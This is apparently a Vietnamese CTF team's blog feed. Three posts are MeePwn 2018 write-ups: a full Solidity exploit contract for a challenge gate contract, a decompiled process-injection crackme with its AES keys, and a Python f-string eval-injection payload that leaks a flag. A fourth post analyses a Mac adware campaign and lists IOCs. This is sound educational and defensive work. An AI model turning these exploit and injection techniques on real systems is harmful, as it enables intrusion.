BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Thu, 16 Aug 2018 21:09:22 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 MEEPWN CTF 2018 - meepwn contract https://babyphd.net/2018/08/01/meepwn-ctf-2018-meepwn-contract/ Wed, 01 Aug 2018 12:47:31 +0000 https://babyphd.net/?p=771 Continue reading MEEPWN CTF 2018 - meepwn contract ]]> https://scoreboard.meepwn.team/task

Source code của "gate":

pragma solidity ^0.4.18;

contract Meepwn_Wire
{
    address public entrant;
    
    constructor()
    {
        entrant = msg.sender;
    }
    
    function isAccountAddress(address addr) private returns(bool)
    {
        uint x;
        assembly { x := extcodesize(caller) }
        return x == 0;
    }
    
    function exploitMe(bytes8 _key)
    {
        require(msg.sender != tx.origin);
        require(isAccountAddress(msg.sender));
        require(msg.gas % 1337 == 0);
        require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337);
        
        entrant = tx.origin;
    }
}

Interface của contract chính:

pragma solidity ^0.4.18;

contract MeePwnMain {

  function getNewInstance() public payable returns(address) {}
  function submitInstance(string email) public returns(bytes32) {}
}

sau khi truy cập đến http://178.128.87.12/smart-contract những việc bạn cần làm như sau (hiện site đã không truy cập được nữa, mình xin phép tóm tắt lại theo...kí ức của mình 😄)

  • Sẽ có một contract chính tại địa chỉ 0x3da169ad88c8f419b57e181fe971b33993dfdc81 được deploy trên Testnet Ropsten
  • Bạn sẽ gọi hàm getNewInstance chuyển 0.1 ETH vào địa chỉ này, contract chính sẽ deploy contract Meepwn_Wire ở trên và gán entrant = msg.sender tức là địa chỉ của contract chính.
  • Nhiệm vụ của bạn làm thế nào đó, dùng hàm exploitMe, vượt qua tất cả các "gate", set lại biến entrant thành địa chỉ của mình (pwned !)
  • Sau đó gọi hàm submitInstance kèm với email của mình để chứng minh mình đã làm được, để hệ thống gửi flag về email mà bạn submit.

Về cơ bản, mô hình này khá giống với Ethernaut cụ thể hơn thì bạn có thể tham khảo thêm các bài write-up của anh @kiendinang trên Viblo, với nhiều cấp độ từ dễ đến khó.

Walk Through

Mình xin tóm tắt các bước để vượt qua các gate như sau:

Gate 1

require(msg.sender != tx.origin); : Trong Solidity thì msg.sender là thứ/người trực tiếp gọi hàm của contract, còn tx.origin là người tạo ra transaction. Do vậy tx.origin sẽ luôn là người dùng, còn msg.sender thì có thể là người dùng hoặc là một contract khác. Do vậy ta có mô hình sau:

A (người dùng) -> B (exploit contract) -> C (Meepwn_Wire contract)

Với mô hình này sẽ đảm bảo được msg.sender != tx.origin

Gate 2

require(isAccountAddress(msg.sender)); : Gate này đúng như tên hàm, kiểm tra xem địa chỉ đang tương tác với contract, có phải là người dùng không hay là một contract khác ? và Meepwn_Wire yêu cầu msg.sender phải là một account người dùng thông qua việc kiểm tra storage của account có chứa code hay không bằng đoạn assembly (nếu địa chỉ là người dùng thì sẽ codesize == 0, và ngược lại nếu đó là một contract khác)

assembly { x := extcodesize(caller) }

Nếu vậy, trick chúng ta dùng ở bước 1 sẽ fail ? Tuy nhiên, có một thời điểm mà codesize của một contract bằng 0, đó chính là thời điểm mà contract được deploy (nói cách khác, khi đang chạy contructor của contract), như được note trong yellow paper của Ethereum. Vậy để pass qua gate này, ta cần thực hiện exploit trong contructor của contract. Đến đây ta có thể xây dựng được contract tạm thời dùng để exploit như sau:

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe(????);
    }
}

với target là địa chỉ của contract Meepwn_Wire mà contract chính đã deploy. Để biết được địa chỉ này, bạn có thể tìm đến transaction getNewInstance trên https://ropsten.etherscan.io/ và kiểm tra tab Internal Transactions.

Gate 3

require(msg.gas % 1337 == 0); : Gate này yêu cầu số gas còn lại (msg.gas) tại thời điểm thực hiện kiểm tra phải chia hết cho 1337. Để thực hiện điều này, ta có thể gọi hàm exploitMe theo cách sau:

t.exploitMe.gas(xxx)(????)

với xxx là số gas dùng để chạy hàm exploitMe. Như vậy chúng ta sẽ control được số gas truyền vào. Vậy truyền vào bao nhiêu gas để thoả mãn ? Mình sẽ làm theo cách thử saim truyền vào 1 số gas tuỳ ý, và kiểm tra instruction trên Remix.

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(98000)(0x41414141);
    }
}

Ví dụ chạy với gas 98000, chắc chắn transaction sẽ fail, bằng sử dụng môi trường Javascript VM trên Remix sẽ cho phép chúng ta debug:

Click Debug, mở phần Instructions và Stack và step qua từng instruction cho đến đoạn kiểm tra số gas:

IP hiện đang ở 363, ngay sau khi chúng ta chạy xong GAS, top stack lúc này sẽ chính là số gas còn lại: 0x17abc = 96956 (tại ngăn tiếp theo chính là giá trị 0x539 = 1337). Vậy ta sẽ có gas thoả mãn là:

98000 - 96956 % 1337 = 97308

Note: Để đảm bảo debug đúng thì version compiler và thiết lập optimize của bạn và đề bài phải giống nhau, rất may, đều đang là version soljson-v0.4.24+commit.e67f0147.js 😄, cơ mà nếu có sai thì cũng sai khác nhau không quá 100 gas, chúng ta có thể brute-force được 😆

Gate 4

require(uint64(_key) ^ uint64(sha3(msg.sender)) ^ uint64(sha3(address(this))) == 0x13371337); : gate này là khá đơn giản (tuy nhiên trong thời gian thi BTC đã không may đeploy nhầm source code đoạn này khiến các đội thi tốn cỡ "1 tiếng" tìm cách brute-force 8 bytes sha3 (nếu thực sự có team định làm vậy 😅)), đây là phép XOR và chúng ta làm lại như sau:

_key = bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337)

this ở đây sẽ cho ra địa chỉ contract exploit của chúng ta.

Full Exploit

(Test thử trên Remix trước cho chắc ăn rồi hãy submit nhé)

contract HackMeepwn_Wire {
    
    address public target = 0x9a6210545c23d287496c518564b3db5f3efb2918;
    
    constructor()
    {
        Meepwn_Wire t = Meepwn_Wire(target);
        t.exploitMe.gas(97308)(bytes8(uint64(sha3(this)) ^ uint64(sha3(address(target))) ^ 0x13371337));
    }
}

Việc còn lại là thực hiện submitInstance và chờ mail flag về:

References

]]>
771
MEEPWN CTF 2018 - XSS https://babyphd.net/2018/07/17/meepwn-ctf-2018-xss/ Tue, 17 Jul 2018 16:55:34 +0000 https://babyphd.net/?p=751 Continue reading MEEPWN CTF 2018 - XSS ]]> Lúc đầu nhìn tên bài mình cứ nghĩ là dạng binary .Net chứa mấy đề XSS giống ở SECCON, nên còn không buồn đọc đề. Đến lúc làm thì thấy là cũng liên quan thật.

File binary khi được chạy sẽ fork thêm 1 process nữa, rồi process mới này lại fork một process khác, tổng là 3 process. Mỗi process này sẽ dựa theo số lượng tham số truyền vào để xử lý theo nhánh riêng của nó (process đầu không có tham số, process thứ hai có 1 tham số là 1, process thứ ba có 2 tham số là 1 và 2). Mình debug bằng cách attach 3 cửa sổ IDA vào lần lượt 3 process.

Nếu cứ diễn giải lần lượt từng bước thì khá dài dòng, về cơ bản là các process sẽ tương tác với nhau bằng cách inject code và thực thi thông qua các hàm: OpenProcess, VirtualAllocExReadProcessMemoryWriteProcessMemory, WaitForSingleObject, ReleaseSemaphore,  và CreateRemoteThread. Các code được inject tương đối giống nhau, có dạng thế này (đây là code đọc input từ người chơi):

    v11 = 0;
    hObject = 0;
    while ( WaitForSingleObject(*(&dword_4F4FFC + (_DWORD)lpParameter), 1u) == 258 )
        ;
    arr1[0] = 97;
    arr1[1] = 98;
    arr1[2] = 99;
    arr1[3] = 100;
    arr1[4] = 97;
    arr1[5] = 98;
    arr1[6] = 99;
    arr1[7] = 100;
    arr1[8] = 97;
    arr1[9] = 98;
    arr1[10] = 99;
    arr1[11] = 100;
    arr1[12] = 97;
    arr1[13] = 98;
    arr1[14] = 99;
    arr1[15] = 100;
    arr2[0] = 106;
    arr2[1] = 21;
    arr2[2] = 109;
    arr2[3] = 11;
    arr2[4] = -99;
    arr2[5] = -16;
    arr2[6] = -62;
    arr2[7] = 52;
    arr2[8] = 116;
    arr2[9] = -118;
    arr2[10] = -44;
    arr2[11] = 79;
    arr2[12] = 80;
    arr2[13] = -124;
    arr2[14] = -96;
    arr2[15] = 127;
    for ( i = 0; i < 16; ++i )
    {
        v8 = getchar();
        arr1[i] = v8 ^ arr2[i];
    }
    while ( WaitForSingleObject(*(&hHandle + (_DWORD)lpParameter), 1u) == 258 )
        ;
    hProcess = OpenProcess(dwDesiredAccess, 0, *(&BaseAddress + (_DWORD)lpParameter));
    if ( !hProcess )
        exit(0);
    v13 = 0;
    lpBaseAddress = (LPCVOID)BaseAddress;
    Buffer = 0;
    while ( 1 )
    {
        v13 = ReadProcessMemory(hProcess, lpBaseAddress, &Buffer, 1u, 0);
        if ( !v13 )
            exit(0);
        if ( Buffer == 198 )
            break;
        lpBaseAddress = (char *)lpBaseAddress + 1;
    }
    lpBaseAddress = (char *)lpBaseAddress - 1;
    for ( j = 0; j < 16; ++j )
    {
        v13 = WriteProcessMemory(hProcess, (char *)lpBaseAddress + 4, &arr1[j], 1u, 0);
        if ( !v13 )
            exit(0);
        lpBaseAddress = (char *)lpBaseAddress + 4;
    }
    CloseHandle(hProcess);
    hObject = OpenProcess(dwDesiredAccess, 0, dword_4F502C[2]);
    if ( !hObject )
        exit(0);
    dwSize = 43632;
    v10 = VirtualAllocEx(hObject, 0, 0xAA70u, 0x1000u, 0x40u);
    if ( !v10 )
        exit(0);
    v6 = v10;
    lpBuffer = byte_4FFAA8;
    v11 = WriteProcessMemory(hObject, &BaseAddress, &v10, 4u, 0);
    if ( !v11 )
        exit(0);
    for ( k = 0; k < dwSize; ++k )
        byte_4FFAA8[k] ^= 0x66u;
    v11 = WriteProcessMemory(hObject, v6, lpBuffer, dwSize, 0);
    if ( !v11 )
        exit(0);
    lpStartAddress = (LPTHREAD_START_ROUTINE)v10;
    v4 = CreateRemoteThread(hObject, 0, 0, (LPTHREAD_START_ROUTINE)v10, lpParameter, 0, 0);
    if ( !v4 )
        exit(0);
    CloseHandle(hObject);
    return ReleaseSemaphore(*(&hSemaphore + (_DWORD)lpParameter), 1, 0);
}

Mình sẽ không nói chi tiết về việc binary dùng SemaphoreCreateRemoteThread như thế nào để điều khiển luồng thực thi cho đúng, vì nói thật nó loằng ngoằng và mình cũng không cố note lại. Tuy nhiên, để làm được bài thì vẫn cần biết chương trình làm những gì, nên sau khi F8 tỉ mỉ một vài lượt inject code đầu tiên, nhận thấy có sự tương đồng như đã nói khi nãy, mình đẩy nhanh tiến độ bằng cách đặt breakpoint ở hàm kernel32_CreateRemoteThread(trong cả 3 process) và cứ thế chạy, mỗi khi dừng ở breakpoint, mình dựa vào tham số lpStartAddress để biết địa chỉ phần code chuẩn bị được thực thi ở đâu, rồi mở xem code đó nó làm gì (đáng lẽ cần phải xem tham số hProcess để biết là process nào nữa, nhưng mình lười nên cứ Alt+Tab lần lượt 3 cửa sổ IDA để thử thôi). Cũng có một chút anti-decompile nhưng có thể fix bằng tay được. Nhìn chung chương trình hoạt động như thế này:

Các đoạn code giống nhau về cấu trúc, có sẵn hai mảng 16 ký tự là arr1 và arr2, trong đó mảng arr1 luôn là abcdabcdabcdabcd. Khi được thực thi bằng hàm CreateRemoteThread, code sẽ xử lý 2 mảng arr1 và arr2 (bằng một trong các thao tác xor, aesencaesenclast hoặc so sánh), sau đó, ghi đè output  vào mảng arr1 của đoạn code thực thi sau đó thông qua hàm WriteProcessMemory (đoạn code này vốn cũng đã thực thi rồi, nhưng đang bị dừng bởi Semaphore). Bên cạnh việc xử lý input thì mỗi thread cũng kiêm thêm việc ghi code cho các thread sau. Để dễ hình dung (vì nếu nói chính xác thì các đoạn code không chạy một mạch từ đầu đến cuối mà sẽ bị gián đoạn bởi Semaphore), có thể tưởng tượng với đầu vào là input mà ta nhập, chương trình cho nó đi qua một dây chuyền sản xuất, ở mỗi bước giá trị của input lại bị thay đổi một tí, xong được đẩy sang bước tiếp theo. Có tất cả là 1 bước xor, 9 bước aesenc, 1 bước aesenclast (AES128) và cuối cùng là 1 bước so sánh (để hiện thông báo Correct! hoặc Try Again!). Chúng ta có toàn bộ hardcoded key được dùng trong các bước này và tất nhiên là cả giá trị so sánh cuối cùng.

xor_key = '6A156D0B9DF0C234748AD44F5084A07F'

aes_keys = [
'609D4731B5DD367EEF997AD8495C4523',
'FAECDBBB93B23AEF68E4BE6D2FF66B4C',
'3E43953C69D073672297D1B1A361FD4A',
'45337E3CF07F2DAC33443B75482AC546',
'4DF0EC1A3D04A9DBF5D5081A80709306',
'BAF0AB1FAC2F5881F125B159F979DE03',
'34AFFF57513A0FEC8BA0E65F8C986078',
'2EEBCF4605AE3D94BA8CCCF44CA11D4C',
'74F9C5427F7A6EE2B11F2CC21804B8F7',
'0A98631D8469820807CA31F71D335629',
]

target = '68CEDFDD586C37E4C4E1ACB4097F97A4'

Đến đây thì phần RE đã xong, phần còn lại là Crypto, mình hỏi một chuyên gia mật mã đầu ngành của team và nhận lại flag vài phút sau đó.

P.S: Có một bí ẩn xung quanh challenge này, nhưng bây giờ cảm giác tội lỗi với Linh Ka khiến mình không tập trung làm được việc gì cả. Nếu sau này có thời gian tìm hiểu thêm thì mình sẽ bổ sung vào bài viết sau.

Quên mất, cá nhân mình đánh giá đây là một đề mất không ít thời gian để xây dựng, nên kudos to người ra đề!

]]>
751
MEEPWN CTF 2018 - PyCalx2 https://babyphd.net/2018/07/17/meepwn-ctf-2018-pycalx2/ Tue, 17 Jul 2018 13:39:52 +0000 https://babyphd.net/?p=734 Continue reading MEEPWN CTF 2018 - PyCalx2 ]]>

Bài này code giống hệt bài 1, khác mỗi cái là biến op bây giờ cũng không được chứa các ký tự trong mảng ['(',')','[',']','\'','"'] nữa, do đó không thể dùng kiểu +' để break giá trị của value2 ra ngoài chuỗi. Nói cách khác, value1 và value2 đều sẽ chỉ là các string đơn thuần.

Mình search thử thì thấy Python3.6 có một tính năng mới là Formatted string literals, hoạt động như sau:

Python 3.6.1 (v3.6.1:69c0db5, Mar 21 2017, 17:54:52) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'xxx'
>>> f'{a}'
'xxx'
>>> f'{0 if 2 > 3 else 1}'
'1'

Có thể thấy đây gần như là hướng duy nhất của bài này.

Nếu op = +f, chuỗi được eval sẽ có dạng  calc_eval = 'value1'+f'value2'. Tương tự bài 1, chúng ta muốn dựa vào output của hàm eval để leak flag, mà output chỉ được in ra khi kết quả eval là số, là 'True' hoặc 'False'. Như thế dẫn đến một số suy luận sau:

  1. value1 kiểu gì cũng chỉ là chuỗi đơn thuần, nên sau khi eval nó sẽ vẫn là chính nó. Mặt khác, value1 không thể là số vì nếu thế, value2 cũng phải là số, chẳng có tác dụng gì. Vậy, value1 là chữ.
  2. Nếu value1 là chữ, thì kết quả sau khi eval không thể là số, nghĩa là chúng ta chỉ có thể thấy được output nếu eval ra True hoặc False, thì value1 cần là một phần của True hoặc False (ví dụ Tr hoặc Fals, để sau khi kết hợp với value2 sẽ ra giá trị hoàn chỉnh). Về lý thuyết chúng ta có thể để value2 trả về đầy đủ chuỗi True hoặc False, tuy nhiên đề bài không cho phép value1 là một chuỗi rỗng.
  3. Dạng biểu thức f'{0 if 2 > 3 else 1}' có thể cho phép chúng ta leak flag giống bài 1, kiểu như f'{'e' if 'MeePwn' in FLAG else 'x'}'. Với biểu thức này, kết hợp với value1 = Tru thì khi nhận được output là True, chúng ta kết luận được FLAG có chứa chuỗi MeePwn, và ngược lại.

Tất nhiên ở trên chỉ là ví dụ thôi, vì thực tế đề bài không cho dùng ' trong value2. Sau một hồi ngồi nhìn màn hình, mình nghĩ ra một hướng khá là cần cù bù thông minh.

Content-Disposition: form-data; name="value1"

Tru
----------954427002
Content-Disposition: form-data; name="op"

+f
----------954427002
Content-Disposition: form-data; name="value2"

{source % 101 if source % 77 in FLAG else x}
----------954427002
Content-Disposition: form-data; name="source"

%c

Output nhận được là True (hợp lý vì FLAG có chứa chữ M trong từ MeePwn).

Nhưng check từng ký tự thì chỉ có thể tìm được charset của FLAG mà thôi, mình cần check được nhiều hơn. Do value2 dài tối đa 64 ký tự, mình cố gắng xóa bớt mấy khoảng trắng, được như sau:

Content-Disposition: form-data; name="value1"

Tru
----------954427002
Content-Disposition: form-data; name="op"

+f
----------954427002
Content-Disposition: form-data; name="value2"

{source%101 if source%77+source%101+source%101 in FLAG else x}
----------954427002
Content-Disposition: form-data; name="source"

%c

3 ký tự một lúc là khá ổn, đủ để mình tìm được đến MeePwnCTF{python3.6[_strikes_backk. Sau đó thì phát sinh một vấn đề, đó là với 2 ký tự kk, mình tìm được 2 chuỗi thỏa mãn là kkk và kk}. Cái sau chắc là phần kết của FLAG rồi, nhưng cái đầu thì khá là bế tắc, do không biết cần chính xác bao nhiêu chữ k. Mình có thể thử submit dần luôn trên scoreboard, nhưng ngại nhỡ bị ban thì mang tội với team, còn nếu clone một nick mới để thử thì lại làm tăng số đội giải được, điểm của mình cũng bị ảnh hưởng. Đều không vẹn toàn.

Tự nhiên mình nghĩ đến một hướng, mặc dù đoán là không được nhưng vẫn quyết định thử:

>>> '%c' % 49 * 3
'111'

Kỳ diệu. Mình cứ sợ là nó sẽ thành '%c' % 147.

FLAG: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}

P.S: Bài này Jinmo làm theo một cách thực sự rất đẹp và đáng được ngợi ca, mọi người có thể đọc tại đây. Kudos to him!

 

]]>
734
What is SafeFinder/OperatorMac campaign? https://babyphd.net/2017/08/10/wtf-is-safefinderoperatormac-campaign/ Thu, 10 Aug 2017 15:35:08 +0000 https://babyphd.net/?p=687 Continue reading What is SafeFinder/OperatorMac campaign? ]]>  

A new variant of adware was just discovered yesterday. It’s going viral on Twitter and other media, since they use valid Apple developer certificate to sign all packed samples. I’m quite overbusy these days but it got my interest when seeing the name stated in that certificate: “Quoc Thinh”, quite a unique Vietnamese name. So why not take a break from desperate thesis, toss adware in my lame automated MacOS analysis framework and see what our ‘countryman’ doing?

The sample was first noticed by Gavriel State‏ on Aug 7, then Thomas A Reed – the Mac malware boss hunter from Malwarebytes - confirmed it relates to OperatorMac on the next day. I think you all know the famous Mac free security tools’ author: Patrick Wardle, wrote an amazing report on objective-see.com in Aug 9. So I’m not going too deep in reverse engineering - static analysis, just throw in my Grey-cuckoo framework and grab results. In case somebody doesn’t know, it’s my thesis project and and soon to be released right after my judgment day - defense (hopefully).

From Patrick’s report we understand it’s an adware which installs lots of crabs. By default, cuckoo sandbox timeout is 120 sec. Let’s extend it a bit, 300 sec (5 min) would be enough.

First result we got, that Apple developer ID “Quoc Thinh”, and he got his certificate revoked from Apple today by the way 😄.

spctl -avv "Mughthesec-Player(dmg).dmg"
Mughthesec-Player(dmg).dmg: CSSMERR_TP_CERT_REVOKED

From captured screenshots, we can see what this adware apparently executes: Install Adobe flash and offer you a bunch of PUA (potential unwanted applications) – Booking, Advanced Mac Cleaner, SafeFinder Safari extension, and AdBlock (in some relevant samples that will be discussed later).

Behavioral analysis shows the packed DMG sample invoked a ‘mac’ binary, thereafter ‘Mughthesec’ with a persistence ‘I’ binary. Screenshots below already included other analysis variant of this campaign.

Move on to the network DNS feature, we see a lot of queries and some domains look "suspicious". Their DNS servers mostly are pointed to Akamai so I suggest we rather use domain as IOC than IP address, which could be different from viewers location. Filtering system calls logs with some rules of mine, there is no evasion technique been found. It’s quite surprising because Virustotal behavioral analysis shows a shorter execution trace than mine, which usually means its environment was detected at some point and malware stop running. In Patrick’s report he said there might be MAC address verification to detect VM (VM MAC usually starts with ’00:xx’). Fortunately, my VM framework MAC address was modified long ago since my colleague Yorick Koster at Securify used same trick to abuse my lame framework (thanks Yorick). I should add new rule – “MAC address check” later.

Additionally instead of execve(), MacOS sandbox policy usually invokes processes using XPCProxy or launchd services. So we got several processes created with posix_spawn(): delete Safari, iBooks, Mail cache (likely Advanced Mac cleaner doing its job), install mentioned PUAs and we got some new IOCs.

Other great things from Cuckoo sandbox are Network analysis and Dropped files. However previous report detailed it well enough, hence only some screenshots from these features will be showed:

Some dropped binaries like AMCleaner (93dd0c34a4ec25a508cd6d5fb86d8ccc0c318238d9fee0c93342a20759bf9b7e) already marked as malicious on VirusTotal (VT) 7/56, which could be an indication for vigilant users.

Also with some fancy nonsense statistic screenshots, intent to scare analyst (:p)

At this moment, we have got all indicators to make behavioral detection rule and go hunting for other similar adware samples. Reason why I call this blog post – “a campaign”: there are numerous similar packed DMG/Mac apps matched ‘my behavioral rule’: fake Adobe Flash installer, lots of PUAs from subdomain name [cdn, dl, api] and Vietnamese developer certificate ID.

 

Developer ID Number of Samples Detected (VT) Apple status First seen
Quoc Thinh

9G2J3967H9

 

6 1/6 (Ikarus detected 1 sample) Revoked ID 2017-08-05

 

Pham Huong

2BS26F3ZCP

7 0 Revoked ID 2017-07-15
Phan Anh

C7J9SJ95GX

24 0 Valid 2017-04-13
Nhien Nguyen 3 1/3 (ESET-NOD32 detected 1 sample) Valid 2017-08-09

 

Thanh Thuy WAA98JBA59 17 0 Valid 2017-07-06

 

Tran Phong GMFY4TULB3 6 0 Valid 2017-06-27

 

Minh Duc

7CXE5FM69W

5 0 Valid 2017-06-21
Mai Linh

M3XXTCHY66

3 0 Valid 2017-07-12
Total 71 2 (3%) 2/8 Revoked ID Staying undetected at least 4 months

 

Please note that VT score is an indicator only, people usually fail to judge hardworking AVs by looking at VT score. We can never know if AV would detect those adwares live running whether or not. Also instead of Mughthesec, other adware use different loader names such as SearchWebSvc, TrustedSafeFinder, etc. I don’t think OSX/Mughthesec would be appropriate for the adware name. I suggest it would be OperatorMac because all campaign packages call a simple loader “mac” binary.

Conclusion

Be vigilant, no one needs Flash nowadays it’s dead. Apple Mac is not virus-free even with those fancy Apple protection XProtect, GateKeeper, Mac sandbox, code signing, etc, many security researchers already warned.

It’s likely an affiliation advertising campaign, in which adware authors spent quite some money (~$800) for these 8 Apple developer certificates and only 2 of them are revoked. Some of dropped MachO executables are not signed, and we don’t know what if those can be really dangerous (like the unsigned MachO executable from APT32 Ocean Lotus campaign targeted Vietnamese organizations lately is really a sophisticated one). Based on timeline and periods of certificate registration, and money they have spent, I doubt these adware creators are making lots of money. Last, let me remind you some incidents happened recently and could be related to this campaign:

Phamus

P/S: I confronted one famous hacker in cyber pirate community – “Quoc Thinh” aka G4mm4, he seriously admitted he's behind the "crime". Not sure that’s true or he was just kidding 😏

IOCs:

appfastplay.com

Created

2017-04-08 New -none- 198.54.117.212
2017-04-23 Change 198.54.117.212 198.54.117.215
2017-07-07 Change 198.54.117.215 198.54.117.210

Namecheap domain hosting @ USA.

mughthesec.com

198.54.117.210

SimplyEApps.com
198.54.117.210

(api./dl./cdn.)dynacubeapps.com

198.54.117.210

(api./dl./cdn.)cloudmacfront.com

(api./dl./cdn.)api.airautoupdates.com

(api./dl./cdn.)osxessentials.com

(api./dl./cdn.)api.vertizoom.com

(api./dl./cdn.)macgabspan.com

install.searchwebsvc.com

install.trustedsafefinder.com

searc.trustedsafefinder.com/h?_pg=XXXX-1234-67890

searc.trustedsafefinder.com/s?q=@@@&_pg=XXXX-1234-67890

 

 

~/Library/LaunchAgents/com.Mughthesec.plist

~/Library/Application Support/com.Mughthesec

~/Library/LaunchAgents/SearchWebSvc.plist

~/Library/Application Support/SearchWebSvc

~/Library/LaunchAgents/TrustedSafeFinder

~/Library/Application Support/com.TrustedSafeFinder.plist

 

~/Library/LaunchAgents/com.pcv.hlpramcn.plist  (Advanced Mac Cleaner)

 

 

phan anh 4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

cf63d5861eb654efcafef25d758ca5daf877e3c63888ee086bcd29f22e3f77ad

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

8690299992e9a1d8bf1b5184a3274619eb6c95c44a83b42f7ee455b419947d5d

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

f47246e7b4ae43d6aa284145292d67247d428d52f327c00a7f7af2dd65fb1c0b

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

52ac6206d109acb15547e8f655d1e522d28bbb39c9e40784126de5f27778f51c

cd9c564799f88ad6efae4bd5acb047d5f0d5b39378965386925c171eec3977b5

15d796bd76339a0fbb430bc8c6cc9bcbd6a21f3aef619d0cb81fe0069552a29d

99c598ef5fe10347803296d20a37fb6c33d793f35443725dbcfc41382dbd9391

34886986af88810585238c2ecf44924e48a08f775b25794e553689f0f2585899

12effeff2bc280d144bd1432f9bbfae2efaae483731d20b6f0b061e8be505a0c

3460877be00af3632895539567b57647ca1e07363213b4f93d52ac80b17454ee

79b54c71b74112881a8c4b88ad36a9bae4c2eecedcba510e2b4f52c215a9ebac

 

quoc thinh
9c4f74feff131fa93dd04175795f334649ee91ad7fce11dc661231254e1ebd84

f5d76324cb8fcae7f00b6825e4c110ddfd6b32db452f1eca0f4cff958316869c

63b9e81a0c3a57bcbaf2aac308ecc53035f7fff6a416a6752acf13f16352a94a

431c30c1db1aefb87d5fa5485c0fd11e792ec94bb95fb401cc93ef0528ad41cb

687def9ff3cd0fa8dab1a7d4da5fa04b0604292fa74a66f23a96fb1eb31cd2c2

 

pham huong

af1e6391dd48f84beac69fbd69dbbb20eefd7ca69d33c686ed4d5a85ba760254

7ce4d0ec31dc334388d2461b65617ba5dbdebf935da2ed2a7d65d8a9cc14148c

f995bd07e5f782cf823b45d226c63407695d4a1bfb06358f49621291f1629f60

a2bd399d8087752776762fa9a805429de6973994f26e17bdac9ca4130dcb87fb

bafe800c397e69e9e6859311c437e5c4b6cdd200f3ed832306e6c9f331eb6bae

 

nhien nguyen

3028aa7ece2f140f6fa28d348bf18156e6e4da4cb2f9208925d15ca7b564f35f

fc89afe4f72c3e02dca3e998351e59684f5ad6a9000c9f2eaee3b7195d4f0fda

 

minh duc

17f39a0268ec97cf5528bcc9d871c7f7b428379a2549c3b01581440acd7ed8a5

79e821bab2adbdb9a53e471b7a1937c8f0a1ba1ce0801b8d2eca49a7c9391e42

dfc0b3618a3eb246ae6026c460596a102f45ff71660f7fdec39c5f105a3190cd

90d825d481297def07771865a5e719c4e55ed1109008721744608bf94841d7cc

 

tran phong

8c1b1b2b997a11d8b408091e12d02960bf71bb83304a3b23c439056c4e9882ad

9acb781d19d6ed4c6ac6e10448d113fca868bba21f95496f535013005fe2d29e

f159c3dc2aa704d42a07f145985fa7b339cbd4bcdf7ff9783220b9dd3a9e097e

a1dc898586e1697bd19d6c6ec8421e1871ac918132bcbcf89db9b523e199664d

e537d868f9ab708e3c5a8427dd4036798570b7d6b55b3ef0e1be9775e64e9c9d

f7468d3af9267e9a6325fb981a5bd734dafeea32265d0318cb4793bd1b52f112

 

mai linh

 

c7c11ae9fdaeef0c359621de06d4de5264cc3d62929d5e8a1e2c3d2c08290e2f

202d7e5bd230c59051d5c21124e9af613f70576f3511a0a79c567f48844e5b45

 

thanh thuy

6494a2bd4e9da2f3000b0774a13682a3f9fcd17e7da8d0fd42bfa88d1dce14f5

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

f86b4d24627d5dc9d806a3f89c03aea19aaa987bcedb44fc5635140bf9191d03

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

086ad9c053fc3a670db2954b120733ba97109e1eb845ca383e88d2623289ae66

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

